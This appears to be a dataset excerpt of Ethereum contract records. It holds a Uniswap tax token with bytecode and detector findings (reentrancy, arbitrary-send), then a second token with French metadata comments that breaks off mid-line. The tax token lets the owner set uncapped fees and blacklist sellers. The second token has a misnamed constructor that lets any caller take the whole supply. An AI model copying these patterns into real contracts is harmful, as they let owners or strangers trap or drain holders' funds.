event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (0 minutes)) > block.timestamp) {
require(amount <= _maxBuyTokens);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyTokens = 20000 * 10**9;
_maxHeldTokens = 40000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0);
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function RestoreLimit(uint256 maxTxAmount, uint256 maxWallet) public onlyOwner {
_maxBuyTokens = maxTxAmount;
_maxHeldTokens = maxWallet;
}
}
|
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d578063a9059cbb116100a0578063c3c8cd801161006f578063c3c8cd8014610579578063c9567bf91461058e578063db92dbb6146105a3578063dcb0e0ad146105b8578063dd62ed3e146105d857600080fd5b8063a9059cbb146104f9578063ad5a4f3f14610519578063b2289c6214610539578063b515566a1461055957600080fd5b80638da5cb5b116100dc5780638da5cb5b146104a657806394b8d8f2146104c457806395d89b41146101fe5780639e78fb4f146104e457600080fd5b80636fc3eaec1461043c57806370a0823114610451578063715018a61461047157806373f54a111461048657600080fd5b806331c2d8471161018557806345596e2e1161015457806345596e2e146103b857806349bd5a5e146103d8578063590f897e146104105780636755a4d01461042657600080fd5b806331c2d8471461033357806332d873d8146103535780633bbac5791461036957806340b9a54b146103a257600080fd5b80631940d020116101c15780631940d020146102c157806323b872dd146102d757806327f3a72a146102f7578063313ce5671461030c57600080fd5b806306fdde03146101fe578063095ea7b31461024b5780630b78f9c01461027b57806318160ddd1461029d57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b506102356040518060400160405280600b81526020016a5377656574546178494e5560a81b81525081565b6040516102429190611757565b60405180910390f35b34801561025757600080fd5b5061026b6102663660046117d1565b61061e565b6040519015158152602001610242565b34801561028757600080fd5b5061029b6102963660046117fd565b610634565b005b3480156102a957600080fd5b5066038d7ea4c680005b604051908152602001610242565b3480156102cd57600080fd5b506102b3600d5481565b3480156102e357600080fd5b5061026b6102f236600461181f565b6106ae565b34801561030357600080fd5b506102b3610702565b34801561031857600080fd5b50610321600981565b60405160ff9091168152602001610242565b34801561033f57600080fd5b5061029b61034e366004611876565b610712565b34801561035f57600080fd5b506102b3600e5481565b34801561037557600080fd5b5061026b61038436600461193b565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103ae57600080fd5b506102b360095481565b3480156103c457600080fd5b5061029b6103d3366004611958565b6107a8565b3480156103e457600080fd5b506008546103f8906001600160a01b031681565b6040516001600160a01b039091168152602001610242565b34801561041c57600080fd5b506102b3600a5481565b34801561043257600080fd5b506102b3600c5481565b34801561044857600080fd5b5061029b61083b565b34801561045d57600080fd5b506102b361046c36600461193b565b610848565b34801561047d57600080fd5b5061029b610863565b34801561049257600080fd5b5061029b6104a136600461193b565b6108d7565b3480156104b257600080fd5b506000546001600160a01b03166103f8565b3480156104d057600080fd5b50600f5461026b9062010000900460ff1681565b3480156104f057600080fd5b5061029b610945565b34801561050557600080fd5b5061026b6105143660046117d1565b610b4a565b34801561052557600080fd5b5061029b6105343660046117fd565b610b57565b34801561054557600080fd5b506007546103f8906001600160a01b031681565b34801561056557600080fd5b5061029b610574366004611876565b610b8c565b34801561058557600080fd5b5061029b610ca5565b34801561059a57600080fd5b5061029b610cbb565b3480156105af57600080fd5b506102b3610eb4565b3480156105c457600080fd5b5061029b6105d336600461197f565b610ecc565b3480156105e457600080fd5b506102b36105f336600461199c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600061062b338484610f49565b50600192915050565b6000546001600160a01b031633146106675760405162461bcd60e51b815260040161065e906119d5565b60405180910390fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106bb84848461106d565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106ea908490611a20565b90506106f7853383610f49565b506001949350505050565b600061070d30610848565b905090565b6000546001600160a01b0316331461073c5760405162461bcd60e51b815260040161065e906119d5565b60005b81518110156107a45760006005600084848151811061076057610760611a37565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061079c81611a4d565b91505061073f565b5050565b6000546001600160a01b031633146107d25760405162461bcd60e51b815260040161065e906119d5565b6007546001600160a01b0316336001600160a01b0316146107f257600080fd5b600081116107ff57600080fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b4761084581611424565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b0316331461088d5760405162461bcd60e51b815260040161065e906119d5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b0316146108f757600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610830565b6000546001600160a01b0316331461096f5760405162461bcd60e51b815260040161065e906119d5565b600f5460ff16156109bc5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161065e565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610a21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a459190611a66565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab69190611a66565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b279190611a66565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b600061062b33848461106d565b6000546001600160a01b03163314610b815760405162461bcd60e51b815260040161065e906119d5565b600c91909155600d55565b6000546001600160a01b03163314610bb65760405162461bcd60e51b815260040161065e906119d5565b60005b81518110156107a45760085482516001600160a01b0390911690839083908110610be557610be5611a37565b60200260200101516001600160a01b031614158015610c36575060065482516001600160a01b0390911690839083908110610c2257610c22611a37565b60200260200101516001600160a01b031614155b15610c9357600160056000848481518110610c5357610c53611a37565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c9d81611a4d565b915050610bb9565b6000610cb030610848565b90506108458161145e565b6000546001600160a01b03163314610ce55760405162461bcd60e51b815260040161065e906119d5565b600f5460ff1615610d325760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161065e565b600654610d519030906001600160a01b031666038d7ea4c68000610f49565b6006546001600160a01b031663f305d7194730610d6d81610848565b600080610d826000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610dea573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e0f9190611a83565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8c9190611ab1565b50600f805460ff1916600117905542600e556512309ce54000600c5565246139ca8000600d55565b60085460009061070d906001600160a01b0316610848565b6000546001600160a01b03163314610ef65760405162461bcd60e51b815260040161065e906119d5565b600f805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610830565b6001600160a01b038316610fab5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161065e565b6001600160a01b03821661100c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161065e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561109357600080fd5b6001600160a01b0383166110f75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161065e565b6001600160a01b0382166111595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161065e565b600081116111bb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161065e565b600080546001600160a01b038581169116148015906111e857506000546001600160a01b03848116911614155b156113c5576008546001600160a01b03858116911614801561121857506006546001600160a01b03848116911614155b801561123d57506001600160a01b03831660009081526004602052604090205460ff16155b156112de57600f5460ff166112945760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161065e565b42600e5460006112a49190611ace565b11156112da57600c548211156112b957600080fd5b600d546112c584610848565b6112cf9084611ace565b11156112da57600080fd5b5060015b600f54610100900460ff161580156112f85750600f5460ff165b801561131257506008546001600160a01b03858116911614155b156113c557600061132230610848565b905080156113ae57600f5462010000900460ff16156113a557600b5460085460649190611357906001600160a01b0316610848565b6113619190611ae6565b61136b9190611b05565b8111156113a557600b546008546064919061138e906001600160a01b0316610848565b6113989190611ae6565b6113a29190611b05565b90505b6113ae8161145e565b4780156113be576113be47611424565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061140757506001600160a01b03841660009081526004602052604090205460ff165b15611410575060005b61141d85858584866115d2565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107a4573d6000803e3d6000fd5b600f805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114a2576114a2611a37565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061151f9190611a66565b8160018151811061153257611532611a37565b6001600160a01b0392831660209182029290920101526006546115589130911684610f49565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611591908590600090869030904290600401611b27565b600060405180830381600087803b1580156115ab57600080fd5b505af11580156115bf573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b60006115de83836115f4565b90506115ec86868684611618565b505050505050565b600080831561161157821561160c5750600954611611565b50600a545b9392505050565b60008061162584846116f5565b6001600160a01b038816600090815260026020526040902054919350915061164e908590611a20565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461167e908390611ace565b6001600160a01b0386166000908152600260205260409020556116a081611729565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116e591815260200190565b60405180910390a3505050505050565b6000808060646117058587611ae6565b61170f9190611b05565b9050600061171d8287611a20565b96919550909350505050565b30600090815260026020526040902054611744908290611ace565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561178457858101830151858201604001528201611768565b81811115611796576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461084557600080fd5b80356117cc816117ac565b919050565b600080604083850312156117e457600080fd5b82356117ef816117ac565b946020939093013593505050565b6000806040838503121561181057600080fd5b50508035926020909101359150565b60008060006060848603121561183457600080fd5b833561183f816117ac565b9250602084013561184f816117ac565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561188957600080fd5b823567ffffffffffffffff808211156118a157600080fd5b818501915085601f8301126118b557600080fd5b8135818111156118c7576118c7611860565b8060051b604051601f19603f830116810181811085821117156118ec576118ec611860565b60405291825284820192508381018501918883111561190a57600080fd5b938501935b8285101561192f57611920856117c1565b8452938501939285019261190f565b98975050505050505050565b60006020828403121561194d57600080fd5b8135611611816117ac565b60006020828403121561196a57600080fd5b5035919050565b801515811461084557600080fd5b60006020828403121561199157600080fd5b813561161181611971565b600080604083850312156119af57600080fd5b82356119ba816117ac565b915060208301356119ca816117ac565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a3257611a32611a0a565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611a5f57611a5f611a0a565b5060010190565b600060208284031215611a7857600080fd5b8151611611816117ac565b600080600060608486031215611a9857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ac357600080fd5b815161161181611971565b60008219821115611ae157611ae1611a0a565b500190565b6000816000190483118215151615611b0057611b00611a0a565b500290565b600082611b2257634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b775784516001600160a01b031683529383019391830191600101611b52565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220c123b0059f2dc6d6fa47f7c11718b73f1ac3982ff5a837e62b14cdef421029f864736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,438 |
0x110c934452efd376e79a8e140f14744fe831935d
|
pragma solidity ^0.4.21 ;
contract FGRE_Portfolio_III_883 {
mapping (address => uint256) public balanceOf;
string public name = " FGRE_Portfolio_III_883 " ;
string public symbol = " FGRE883III " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 26619797430723400000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < FGRE_Portfolio_III_metadata_line_1_____Caisse_Centrale_de_Reassurance_20580515 >
// < VMuKyB9YtJi0Q9l1ME3eR2YuzummH9UmNvqq7p9Zwm3puu9Ia562JTGUD7zMQ8AA >
// < 1E-018 limites [ 1E-018 ; 1798005141,81932 ] >
// < 0x000000000000000000000000000000000000000000000000000000000AB789C2 >
// < FGRE_Portfolio_III_metadata_line_2_____CCR_FGRE_Fonds_de_Garantie_des_Risques_liés_a_l_Epandage_des_Boues_d_Epuration_Urbaines_et_Industrielles_20580515 >
// < m0XE20rXgPDVF8039lWgGKnb9Kl7vD1asuK5bS8T2fWb584P6EyKzl0QNqh9r9lD >
// < 1E-018 limites [ 1798005141,81932 ; 2064548711,07528 ] >
// < 0x00000000000000000000000000000000000000000000000000AB789C2C4E4057 >
// < FGRE_Portfolio_III_metadata_line_3_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_01_20580515 >
// < J6XxmZ3LF8biukPV0mDV6AD6Y9t59VlI489m92t6x6ldf50x5YFCQTVUyiLB98eB >
// < 1E-018 limites [ 2064548711,07528 ; 2240313178,26478 ] >
// < 0x00000000000000000000000000000000000000000000000000C4E4057D5A7256 >
// < FGRE_Portfolio_III_metadata_line_4_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_02_20580515 >
// < WAkfxtQXI1R6TR37lwl8A9WXVYb7SJ0hYTVz92YohZacQcwmy73y23MN6BW1K3fK >
// < 1E-018 limites [ 2240313178,26478 ; 4002480171,36732 ] >
// < 0x0000000000000000000000000000000000000000000000000D5A725617DB4CD1 >
// < FGRE_Portfolio_III_metadata_line_5_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_03_20580515 >
// < V9m1C22jY1lntBTIMQxrQKv9bLBvF1ZoGQ9Je5Bv3I4Lsoe5XB6M9Kj0wn88M025 >
// < 1E-018 limites [ 4002480171,36732 ; 4082875147,90688 ] >
// < 0x00000000000000000000000000000000000000000000000017DB4CD11855F91B >
// < FGRE_Portfolio_III_metadata_line_6_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_04_20580515 >
// < wr475Vj0LlYY2ZxK6Btw4j978VgHrWrEC13g790vy6qBFj8jR5BA1wks99k1k8hV >
// < 1E-018 limites [ 4082875147,90688 ; 4354066048,28292 ] >
// < 0x0000000000000000000000000000000000000000000000001855F91B19F3C70D >
// < FGRE_Portfolio_III_metadata_line_7_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_05_20580515 >
// < Ha89YKhucEB55qOnG4s20Cd7rQA0VtZgx8VSRHP5w2FB7WzZMLU1zW5hvo9V31S3 >
// < 1E-018 limites [ 4354066048,28292 ; 4533966252,41138 ] >
// < 0x00000000000000000000000000000000000000000000000019F3C70D1B064891 >
// < FGRE_Portfolio_III_metadata_line_8_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_06_20580515 >
// < vPRIZEA0GQVwWhlSHyEJIBKClLr21D99YA607ZtKAhT02geM26H946uBc7CKcT60 >
// < 1E-018 limites [ 4533966252,41138 ; 4827440063,51674 ] >
// < 0x0000000000000000000000000000000000000000000000001B0648911CC616C6 >
// < FGRE_Portfolio_III_metadata_line_9_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_07_20580515 >
// < H6e4KpJeQbkgg5Y8L297903S34yUnVJ9VD9p19750ocwPn1LyRF464CY3dx2SGd6 >
// < 1E-018 limites [ 4827440063,51674 ; 4951027942,36309 ] >
// < 0x0000000000000000000000000000000000000000000000001CC616C61D82AB4A >
// < FGRE_Portfolio_III_metadata_line_10_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_08_20580515 >
// < 1U34yk2HwJb1f16xyd2z6sgt5E1y5XYlRJUKwfWKxN61g5aLAqHuB93mkS93NfTd >
// < 1E-018 limites [ 4951027942,36309 ; 5420463977,60449 ] >
// < 0x0000000000000000000000000000000000000000000000001D82AB4A204EF8BE >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < FGRE_Portfolio_III_metadata_line_11_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_09_20580515 >
// < 5Ij16Xs9SDhNdEj6H6nAZWtq5OqyChd3p6KfXC42L44m290S6032QJ1633iTxAAX >
// < 1E-018 limites [ 5420463977,60449 ; 5668663249,8329 ] >
// < 0x000000000000000000000000000000000000000000000000204EF8BE21C9B195 >
// < FGRE_Portfolio_III_metadata_line_12_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_10_20580515 >
// < 6s4Lc4aW1z0w29w2MPF9WY065M0WG6bIT583q53301A9C5EYm5Vlj4w9V690brq3 >
// < 1E-018 limites [ 5668663249,8329 ; 6827545815,83845 ] >
// < 0x00000000000000000000000000000000000000000000000021C9B19528B20216 >
// < FGRE_Portfolio_III_metadata_line_13_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_11_20580515 >
// < 0Xf5IT0I2h53013423Zn9bt8Y108XHj450xdZCch2NWM27SP55xhBu0AZH8vBqwN >
// < 1E-018 limites [ 6827545815,83845 ; 7344128542,76922 ] >
// < 0x00000000000000000000000000000000000000000000000028B202162BC64036 >
// < FGRE_Portfolio_III_metadata_line_14_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_12_20580515 >
// < KfcF5QBUqCDY065TNNuuS7092Ya1iC8lHDq4MR8Vidw1gSQ5I1v2m87cWmQhjXIc >
// < 1E-018 limites [ 7344128542,76922 ; 7918577398,25259 ] >
// < 0x0000000000000000000000000000000000000000000000002BC640362F32CA4C >
// < FGRE_Portfolio_III_metadata_line_15_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_13_20580515 >
// < KDWZ8qFGgSJ8A9Op13W13FspTRN9R3Cwh1Ft2NmVS50D7K9CkWtV5K4jFUlUNS5D >
// < 1E-018 limites [ 7918577398,25259 ; 8019770428,18954 ] >
// < 0x0000000000000000000000000000000000000000000000002F32CA4C2FCD32D3 >
// < FGRE_Portfolio_III_metadata_line_16_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_14_20580515 >
// < Ua394KR92F59H93RZaiwI95yF19tFJ849Cth0283nlTPgu272nm7Qg75Xi96CinQ >
// < 1E-018 limites [ 8019770428,18954 ; 8108368732,11049 ] >
// < 0x0000000000000000000000000000000000000000000000002FCD32D330546389 >
// < FGRE_Portfolio_III_metadata_line_17_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_15_20580515 >
// < 78lbR9j895ZC5a3y2Z04Kj6Wr8s9Ei7236CxET485ODpmvSyIA7Q27SnM2S8PHa2 >
// < 1E-018 limites [ 8108368732,11049 ; 8321175819,89188 ] >
// < 0x0000000000000000000000000000000000000000000000003054638931991B4E >
// < FGRE_Portfolio_III_metadata_line_18_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_16_20580515 >
// < NNR1l77QKQ3a5tEaUxAK26A78Kzfp7AJ2Nqo51u3ak7M83H27shgv32myO5Rb96c >
// < 1E-018 limites [ 8321175819,89188 ; 9867062217,39601 ] >
// < 0x00000000000000000000000000000000000000000000000031991B4E3ACFF12E >
// < FGRE_Portfolio_III_metadata_line_19_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_17_20580515 >
// < M66hG0YE17b5Lh9nNXF2lKHCbI731UT0LPcjN9AsYlyKrg8qKCj6xQ4wN9pMUPC3 >
// < 1E-018 limites [ 9867062217,39601 ; 12054254264,0458 ] >
// < 0x0000000000000000000000000000000000000000000000003ACFF12E47D95512 >
// < FGRE_Portfolio_III_metadata_line_20_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_18_20580515 >
// < F6dTcYF54mvh2956T5EIH2Ky6Ih06T32zb875MYdnfshf8fqZqym7mhu5WnENwWp >
// < 1E-018 limites [ 12054254264,0458 ; 12141416461,2354 ] >
// < 0x00000000000000000000000000000000000000000000000047D95512485E54CE >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < FGRE_Portfolio_III_metadata_line_21_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_19_20580515 >
// < eOyuDPM281HA1XhXx1yCqc0Y6OhBs054QLI2955sTi5E7ptbM694FiR7x5t2c2I8 >
// < 1E-018 limites [ 12141416461,2354 ; 12645420577,3433 ] >
// < 0x000000000000000000000000000000000000000000000000485E54CE4B5F616A >
// < FGRE_Portfolio_III_metadata_line_22_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_20_20580515 >
// < TYwWeH83E6rxuvUocRf9E5q8VTdgY4x4ocOHHO1bnH0C7dgZ5w932hmoY8suSgy6 >
// < 1E-018 limites [ 12645420577,3433 ; 14734424601,0189 ] >
// < 0x0000000000000000000000000000000000000000000000004B5F616A57D2F29C >
// < FGRE_Portfolio_III_metadata_line_23_____CCR_FGRE_IDX_ZONE_57410_57410_57412_10_21_20580515 >
// < W53PMp8Y93v30g45ALoI4DpK7ba7BJl8Tzm1gOfswHV626i1X2PR623d2L2o3186 >
// < 1E-018 limites [ 14734424601,0189 ; 15323220564,2654 ] >
